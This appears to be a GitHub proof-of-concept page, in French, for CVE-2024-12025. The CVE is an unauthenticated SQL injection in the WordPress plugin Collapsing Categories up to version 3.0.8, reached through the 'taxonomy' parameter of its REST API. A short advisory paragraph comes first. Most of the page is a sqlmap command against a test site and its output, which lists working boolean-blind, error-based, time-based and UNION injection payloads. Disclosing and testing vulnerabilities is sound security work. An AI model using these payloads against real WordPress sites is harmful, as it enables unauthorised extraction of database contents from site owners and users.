randomrobbiebf/cve-2024-12025Collapsing Categories <= 3.0.8 - Injection SQL non authentifiée
Collapsing Categories <= 3.0.8 - Injection SQL non authentifiée
Le plugin Collapsing Categories pour WordPress est vulnérable à l'injection SQL via le paramètre 'taxonomy' de l'API REST /wp-json/collapsing-categories/v1/get dans toutes les versions jusqu'à la 3.0.8 incluse, en raison d'un échappement insuffisant du paramètre fourni par l'utilisateur et d'un manque de préparation adéquate de la requête SQL existante. Cela permet à des attaquants non authentifiés d'ajouter des requêtes SQL supplémentaires aux requêtes déjà existantes, pouvant être utilisées pour extraire des informations sensibles de la base de données.
python3 sqlmap.py -u 'https://wp-dev.ddev.site:443/wp-json/collapsing-categories/v1/get?taxonomy=category' --level=3 --risk=3 --dbms='MySQL'
GET parameter 'taxonomy' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 47 HTTP(s) requests:
---
Parameter: taxonomy (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: taxonomy=category') AND 7946=7946 AND ('HpEV'='HpEV
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: taxonomy=category') AND (SELECT 7250 FROM(SELECT COUNT(*),CONCAT(0x7176707171,(SELECT (ELT(7250=7250,1))),0x7162706a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND ('hZXr'='hZXr
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: taxonomy=category') AND (SELECT 2450 FROM (SELECT(SLEEP(5)))BSAn) AND ('lfDY'='lfDY
Type: UNION query
Title: Generic UNION query (NULL) - 12 columns
Payload: taxonomy=category') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7176707171,0x6e42754559704d7a675861454b4c58444e466968774b4d664161795758694376634a654e68594a58,0x7162706a71)-- -
---
[14:14:52] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL >= 5.0 (MariaDB fork)